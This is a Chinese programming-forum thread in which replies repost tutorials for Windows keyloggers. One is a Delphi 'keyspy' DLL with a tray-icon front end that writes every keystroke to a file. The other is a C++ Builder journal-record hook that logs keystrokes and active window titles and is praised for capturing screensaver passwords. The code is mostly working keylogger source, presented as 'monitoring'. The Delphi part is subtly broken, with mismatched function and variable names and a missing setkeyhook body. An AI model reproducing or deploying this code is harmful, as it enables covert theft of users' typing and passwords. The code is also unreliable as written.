键盘钩子:100分(100分)

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键盘钩子祥细content.<br>better ther is code code!!!!!!!!!!!!!!!!!!!!!!!!!!!
 
转载<br>&nbsp; &nbsp; 在许多系统中,出于安全或其它原因,常常要求随时对键盘进行监控,一个专<br>业的监控程序必须具备两点,一是实时;二是作为指示图标运行。实际应用中把利<br>用Hook(即钩子)技术编写的应用程序添加到Windows的任务栏的指示区中就能够<br>很好的达到这个目的。我在参考了API帮助文档基础上,根据在Delphi开发环境中<br>的具体实现分别对这两部分进行详细论述。<br>一、Hook(钩子)的实现:<br>Hook是应用程序在Microsoft Windows 消息处理过程中设置的用来监控消息流并且<br>处理系统中尚未到达目的窗口的某一类型消息过程的机制。如果Hook过程在应用程<br>序中实现,若应用程序不是当前窗口时,该Hook就不起作用;如果Hook在DLL中实现,<br>程序在运行中动态调用它,它能实时对系统进行监控。根据需要,我们采用的是在DLL<br>中实现Hook的方式。<br><br>1.新建一个导出两个函数的DLL文件,在hookproc.pas中定义了钩子具体实现过<br>程。代码如下:<br>library keyspy;<br>uses<br>windows, messages, hookproc in 'hookproc.pas';<br>exports<br>setkeyhook,<br>endkeyhook;<br>begin<br>nexthookproc:=0;<br>procsaveexit:=exitproc;<br>exitproc:=@keyhookexit;<br>end.<br><br>2.在Hookproc.pas中实现了钩子具体过程:<br>unit hookproc;<br>interface<br>uses<br>Windows, Messages, SysUtils, Controls, StdCtrls;<br>var<br>nexthookproc:hhook;<br>procsaveexit:pointer;<br>function keyboardhook(icode:integer;wparam:wparam;<br>lparam:lparam):lresult;stdcall;export;<br>function setkeyhook:bool;export;//加载钩子<br>function endkeyhook:bool;export;//卸载钩子<br>procedure keyhookexit;far;<br>const<br>afilename='c:/debug.txt';//将键盘输入动作写入文件中<br>var<br>debugfile:textfile;<br>implementation<br>function keyboardhookhandler(icode:integer;wparam:wparam;<br>lparam:lparam):lresult;stdcall;export;<br>begin<br>if icode&lt;0 then<br>begin<br>result:=callnexthookex(hnexthookproc,icode,wparam,lparam);<br>exit;<br>end;<br>assignfile(debugfile,afilename);<br>append(debugfile);<br>if getkeystate(vk_return)&lt;0 then<br>begin<br>writeln(debugfile,'');<br>write(debugfile,char(wparam));<br>end<br>else<br>write(debugfile,char(wparam));<br>closefile(debugfile);<br>result:=0;<br>end;<br>function endkeyhook:bool;export;<br>begin<br>if nexthookproc&lt;&gt;0 then begin<br>unhookwindowshookex(nexthookproc);<br>nexthookproc:=0;<br>messagebeep(0); end;<br>result:=hnexthookproc=0;<br>end;<br>procedure keyhookexit;far;<br>begin<br>if nexthookproc&lt;&gt;0 then endkeyhook;<br>exitproc:=procsaveexit; end;<br>end.<br><br>二、Win95/98使用任务栏右方指示区来显示应用程序或工具图标对指示区图标的<br>操作涉及了一个API函数Shell_NotifyIcon,它有两个参数,一个是指向<br>TnotifyIconData结构的指针,另一个是要添加、删除、改动图标的标志。通过该<br>函函数将应用程序的图标添加到指示区中,使其作为图标运行,增加专业特色。当<br>程序起动后,用鼠标右键点击图标,则弹出一个菜单,可选择sethook或endhook。<br><br>unit kb;<br>interface<br>uses<br>Windows, Messages, SysUtils, Classes,<br>Graphics, Controls, Forms,<br>Dialogs,<br>StdCtrls, Menus,shellapi;<br>const<br>icon_id=1;<br>MI_iconevent=wm_user+1;//定义一个用户消息<br>type<br>TForm1 = class(TForm)<br>PopupMenu1: TPopupMenu;<br>sethook1: TMenuItem;<br>endhook1: TMenuItem;<br>N1: TMenuItem;<br>About1: TMenuItem;<br>Close1: TMenuItem;<br>Gettext1: TMenuItem;<br>procedure FormCreate(Sender: TObject);<br>procedure sethook1Click(Sender: TObject);<br>procedure endhook1Click(Sender: TObject);<br>procedure FormDestroy(Sender: TObject);<br>procedure Close1Click(Sender: TObject);<br>private<br>{ Private declarations }<br>nid:tnotifyicondata;<br>normalicon:ticon;<br>public<br>{ Public declarations }<br>procedure icontray(var msg:tmessage); <br>message mi_iconevent;<br>end;<br>var<br>Form1: TForm1;<br>implementation<br>{$R *.DFM}<br>function setkeyhook:bool;external 'keyspy.dll';<br>function endkeyhook:bool;external 'keyspy.dll';<br><br>procedure tform1.icontray(var msg:tmessage);<br>var<br>pt:tpoint;<br>begin<br>if msg.lparam=wm_lbuttondown then<br>sethook1click(self);<br>if msg.LParam=wm_rbuttondown then<br>begin<br>getcursorpos(pt);<br>setforegroundwindow(handle);<br>popupmenu1.popup(pt.x,pt.y);<br>end;<br>end;<br><br>procedure TForm1.FormCreate(Sender: TObject);<br>begin<br>normalicon:=ticon.create;<br>application.title:=caption;<br>nid.cbsize:=sizeof(nid);<br>nid.wnd:=handle;<br>nid.uid:=icon_id;<br>nid.uflags:=nif_icon or nif_message or nif_tip;<br>nid.ucallbackmessage:=mi_iconevent;<br>nid.hIcon :=normalicon.handle;<br>strcopy(nid.sztip,pchar(caption));<br>nid.uFlags:=nif_message or nif_icon or nif_tip;<br>shell_notifyicon(nim_add,@nid);<br>SetWindowLong(Application.Handle,<br>GWL_EXSTYLE,WS_EX_TOOLWINDOW);<br>end;<br><br>procedure TForm1.sethook1Click(Sender: TObject);<br>begin<br>setkeyhook;<br>end;<br><br>procedure TForm1.endhook1Click(Sender: TObject);<br>begin<br>endkeyhook;<br>end;<br><br>procedure TForm1.FormDestroy(Sender: TObject);<br>begin<br>nid.uFlags :=0;<br>shell_notifyicon(nim_delete,@nid);<br>end;<br><br>procedure TForm1.Close1Click(Sender: TObject);<br>begin<br>application.terminate;<br>end;<br><br>该程序虽然只用了几个shellai函数,但是它涉及到了在Delphi中对DLL的引<br>用、钩子实现、对指示区的操作、用户定义消息的处理、文件的读写等比较重要的<br>内容,我相信这篇文章能对许多Delphi的初学者有所帮助。<br><br>
 
用日志钩子也可实现,最好对照上面那位仁兄的例子把下面的程序改为delphi语言。<br>(转载)<br>日志钩子(JournalRecord Hook)的使用 <br>---- 钩子是WINDOWS中消息处理机制的一个要点,通过安装各种钩子,应用程序能够设置相应的子例程来监视系统里的消息传递以及在这些消息到达目标窗口程序之前处理它们。钩子的种类很多,每种钩子可以截获并处理相应的消息,如键盘钩子可以截获键盘消息,鼠标钩子可以截获鼠标消息,外壳钩子可以截获启动和关闭应用程序的消息,日志钩子可以监视和记录输入事件。钩子分为线程专用钩子和全局钩子,线程专用钩子只监视指定的线程,要监视系统中的所有线程,必须用到全局钩子。对于全局钩子,钩子函数必须包含在独立的动态链接库(DLL)中,这样才能被各种相关联的应用程序调用。在WINDOWS中,日志钩子是个很特别的钩子,它只有全局钩子一种,是键盘鼠标等输入设备的消息在系统消息队列被取出时发生的,而且系统中只能存在一个这样的日志钩子,更重要是,它不必用在动态链接库中,这样可以省却了为安装一个全局钩子而建立一个动态链接库的麻烦。利用日志钩子,我们可以监视各种输入事件,下面的示例可以用来记录键盘的输入,当有按键发生时,自动记录按键动作的日期和时间以及当前激活的窗口名称。本示例在中文WIN98,Borland C++ Builder4中编译通过。 <br><br>---- 1.新建一个工程,在窗体Form1中放置两个按钮Button1和Button2, CAPTION分别为“安装日志钩子”和“卸载日志钩子”。 <br><br>---- 2. 定义如下全局变量: <br><br>HHOOK g_hLogHook=NULL; &nbsp; &nbsp; //钩子变量<br>HWND g_hLastFocus=NULL; &nbsp; &nbsp; <br>//记录上一次得到焦点的窗口句柄<br>const int KeyPressMask=0x80000000; &nbsp;//键盘掩码常量<br>char g_PrvChar; &nbsp; &nbsp; &nbsp;//保存上一次按键值<br><br>3.在Button1的OnClick事件中输入:<br><br>void __fastcall TForm1::Button1Click(TObject *Sender)<br>&nbsp;{<br>&nbsp; if &nbsp;(g_hLogHook==NULL)<br>&nbsp; &nbsp;g_hLogHook = SetWindowsHookEx<br>(WH_JOURNALRECORD,<br>&nbsp; &nbsp; &nbsp; &nbsp; (HOOKPROC)JournalLogProc,<br>HInstance,0); &nbsp;//安装日志钩子<br>&nbsp;}<br><br>4.在Button2的OnClick事件中输入:<br><br>void __fastcall TForm1::Button2Click(TObject *Sender)<br>{<br>&nbsp;if (g_hLogHook!=NULL)<br>&nbsp; {UnhookWindowsHookEx(g_hLogHook);<br>&nbsp; &nbsp;g_hLogHook=NULL;<br>&nbsp; } &nbsp;//卸载日志钩子<br>}<br><br>5.输入钩子回调函数:<br>HOOKPROC JournalLogProc(int iCode, <br>WPARAM wParam, LPARAM lParam)<br>{<br>&nbsp;if (iCode&lt; 0) return (HOOKPROC)CallNextHookEx<br>(g_hLogHook,iCode,wParam,lParam);<br>&nbsp;if (iCode==HC_ACTION)<br>&nbsp; {EVENTMSG *pEvt=(EVENTMSG *)lParam;<br>&nbsp; &nbsp;int i;<br>&nbsp; &nbsp;HWND hFocus; &nbsp; &nbsp; &nbsp;//保存当前活动窗口句柄<br>&nbsp; &nbsp;char szTitle[256]; &nbsp; &nbsp; //当前窗口名称<br>&nbsp; &nbsp;char szTime[128]; &nbsp; &nbsp;//保存当前的日期和时间<br>&nbsp; &nbsp;FILE *stream=fopen(“c://logfile.txt”,"a+t");<br>&nbsp; &nbsp;if (pEvt-&gt;message==WM_KEYDOWN) &nbsp; &nbsp; <br>&nbsp; &nbsp; {int vKey=LOBYTE(pEvt- &gt;paramL); &nbsp; &nbsp;// 取得虚拟键值<br>&nbsp; &nbsp; &nbsp;char ch;<br>&nbsp; &nbsp; &nbsp;char str[10];<br>&nbsp; &nbsp; &nbsp;hFocus=GetActiveWindow(); &nbsp; &nbsp; <br>&nbsp; //取得当前活动窗口句柄<br>&nbsp; &nbsp; &nbsp;if(g_hLastFocus!=hFocus) &nbsp; &nbsp; <br>&nbsp; //当前活动窗口是否改变<br>&nbsp; &nbsp; &nbsp; {GetWindowText(hFocus,szTitle,256);<br>&nbsp; &nbsp; &nbsp; &nbsp;g_hLastFocus=hFocus;<br>&nbsp; &nbsp; &nbsp; &nbsp;strcpy(szTime,DateTimeToStr(Now())<br>.c_str()); &nbsp;//得到当前的日期时间<br>&nbsp; &nbsp; &nbsp; &nbsp;fprintf(stream,"%c%s%c%c%s",<br>10,szTime,32,32,szTitle); &nbsp;//写入文件<br>&nbsp; &nbsp; &nbsp; &nbsp;fprintf(stream,"%c%c",32,32); &nbsp;<br>&nbsp; &nbsp; &nbsp; }<br>&nbsp; &nbsp; &nbsp;int iShift=GetKeyState(0x10); &nbsp;<br>//测试SHIFT,CAPTION,NUMLOCK等键是否按下<br>&nbsp; &nbsp; &nbsp;int iCapital=GetKeyState(0x14);<br>&nbsp; &nbsp; &nbsp;int iNumLock=GetKeyState(0x90);<br>&nbsp; &nbsp; &nbsp;bool bShift=(iShift &amp; KeyPressMask)==KeyPressMask; &nbsp; <br>&nbsp; &nbsp; &nbsp;bool bCapital=(iCapital &amp; 1)==1;<br>&nbsp; &nbsp; &nbsp;bool bNumLock=(iNumLock &amp; 1)==1;<br>&nbsp; &nbsp; &nbsp;if (vKey &gt;=48 &amp;&amp; vKey&lt; =57) <br>&nbsp;// 数字0-9<br>&nbsp; &nbsp; &nbsp; &nbsp;if (!bShift) fprintf(stream,"%c",vKey);<br>&nbsp; &nbsp; &nbsp;if (vKey &gt;=65 &amp;&amp; vKey&lt; =90) <br>// A-Z &nbsp; &nbsp; &nbsp; a-z<br>&nbsp; &nbsp; &nbsp; {if (!bCapital)<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if (bShift) ch=vKey; else ch=vKey+32;<br>&nbsp; &nbsp; &nbsp; &nbsp;else<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if (bShift) ch=vKey+32; else ch=vKey;<br>&nbsp; &nbsp; &nbsp; &nbsp;fprintf(stream,"%c",ch);<br>&nbsp; &nbsp; &nbsp; }<br>&nbsp; &nbsp; &nbsp;if (vKey &gt;=96 &amp;&amp; vKey&lt; =105) &nbsp; &nbsp; &nbsp; &nbsp; // 小键盘0-9<br>&nbsp; &nbsp; &nbsp; &nbsp;if (bNumLock) fprintf(stream,"%c",vKey-96+48);<br>&nbsp; &nbsp; &nbsp;if (vKey&gt;=186 &amp;&amp; vKey&lt;=222) &nbsp; &nbsp; &nbsp; &nbsp; // 其他键<br>&nbsp; &nbsp; &nbsp; {switch (vKey)<br>&nbsp; &nbsp; &nbsp; &nbsp; {case 186:if (!bShift) ch=';'; else ch=':';break;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;case 187:if (!bShift) ch='='; else ch='+';break;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;case 188:if (!bShift) ch=','; else ch='&lt;' ;break;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;case 189:if (!bShift) ch='-'; else ch='_';break;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;case 190:if (!bShift) ch='.'; else ch=' &gt;';break;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;case 191:if (!bShift) ch='/'; else ch='?';break;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;case 192:if (!bShift) ch='`'; else ch='~';break;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;case 219:if (!bShift) ch='['; else ch='{';break;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;case 220:if (!bShift) ch='//'; else ch='|';break;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;case 221:if (!bShift) ch=']'; else ch='}';break;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;case 222:if (!bShift) ch='/''; else ch='/"';break;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;default:ch='n';break;<br>&nbsp; &nbsp; &nbsp; &nbsp; }<br>&nbsp; &nbsp; &nbsp; &nbsp;if (ch!='n') fprintf(stream,"%c",ch);<br>&nbsp; &nbsp; &nbsp; }<br>// &nbsp; &nbsp; if (wParam &gt;=112 &amp;&amp; wParam&lt;=123) &nbsp; &nbsp;<br>&nbsp;// 功能键 &nbsp; [F1]-[F12]<br>&nbsp; &nbsp; &nbsp;if (vKey &gt;=8 &amp;&amp; vKey&lt; =46) &nbsp; //方向键<br>&nbsp; &nbsp; &nbsp; {switch (vKey)<br>&nbsp; &nbsp; &nbsp; &nbsp; {case 8:strcpy(str,"[BK]");break;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;case 9:strcpy(str,"[TAB]");break;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;case 13:strcpy(str,"[EN]");break;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;case 32:strcpy(str,"[SP]");break;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;case 33:strcpy(str,"[PU]");break;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;case 34:strcpy(str,"[PD]");break;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;case 35:strcpy(str,"[END]");break;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;case 36:strcpy(str,"[HOME]");break;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;case 37:strcpy(str,"[LF]");break;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;case 38:strcpy(str,"[UF]");break;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;case 39:strcpy(str,"[RF]");break;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;case 40:strcpy(str,"[DF]");break;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;case 45:strcpy(str,"[INS]");break;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;case 46:strcpy(str,"[DEL]");break;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;default:ch='n';break;<br>&nbsp; &nbsp; &nbsp; &nbsp; }<br>&nbsp; &nbsp; &nbsp; &nbsp;if (ch!='n')<br>&nbsp; &nbsp; &nbsp; &nbsp; {if (g_PrvChar!=vKey)<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {fprintf(stream,"%s",str);<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;g_PrvChar=vKey;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br>&nbsp; &nbsp; &nbsp; &nbsp; }<br>&nbsp; &nbsp; &nbsp; }<br>}<br>&nbsp; &nbsp; &nbsp; if<br>(pEvt- &gt;message==WM_LBUTTONDOWN || pEvt- &gt;message<br>==WM_RBUTTONDOWN)<br>&nbsp; &nbsp; &nbsp; {hFocus=GetActiveWindow();<br>&nbsp; &nbsp; &nbsp; &nbsp;if (g_hLastFocus!=hFocus)<br>&nbsp; &nbsp; &nbsp; &nbsp; {g_hLastFocus=hFocus;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;GetWindowText(hFocus,szTitle,256); &nbsp; &nbsp; &nbsp; <br>&nbsp; &nbsp; &nbsp;strcpy(szTime,DateTimeToStr(Now()).c_str()); &nbsp;<br>//得到当前的日期时间<br>&nbsp; &nbsp; &nbsp;fprintf(stream,"%c%s%c%c%s",<br>10,szTime,32,32,szTitle); &nbsp;//写入文件<br>&nbsp; &nbsp; &nbsp;fprintf(stream,"%c%c",32,32); &nbsp;<br>&nbsp; &nbsp; &nbsp; &nbsp; }<br>&nbsp; &nbsp; &nbsp; }<br>&nbsp;fclose(stream);<br>&nbsp;return (HOOKPROC)CallNextHookEx<br>(g_hLogHook,iCode,wParam,lParam);<br>}<br><br>---- 将工程编译执行后,每当激活一个窗口时,就会把当前窗口名称写入文件c:/logfile.txt中,当有按键时,按键的名称也会写入此文件中,这里的并没有处理全部的按键,读者可根据需要添加相应的语句。要捕捉键盘的按键动作,用键盘钩子(Keyboard Hook)也同样可以实现,但是用日志钩子却比键盘钩子要方便许多。首先,如果要捕捉其他应用程序的按键,即做成全局钩子,键盘钩子一定要单独放在动态链接库中,而日志钩子却不必;其次,在键盘钩子函数得到的键盘按键之前,系统已经处理过这些输入了,如果系统把这些按键屏蔽掉,键盘钩子就无法检测到它们,例如,当输入屏幕保护程序密码时,键盘钩子无法检测到用户输入了那些字符,而日志钩子却可以检测到。 <br>
 
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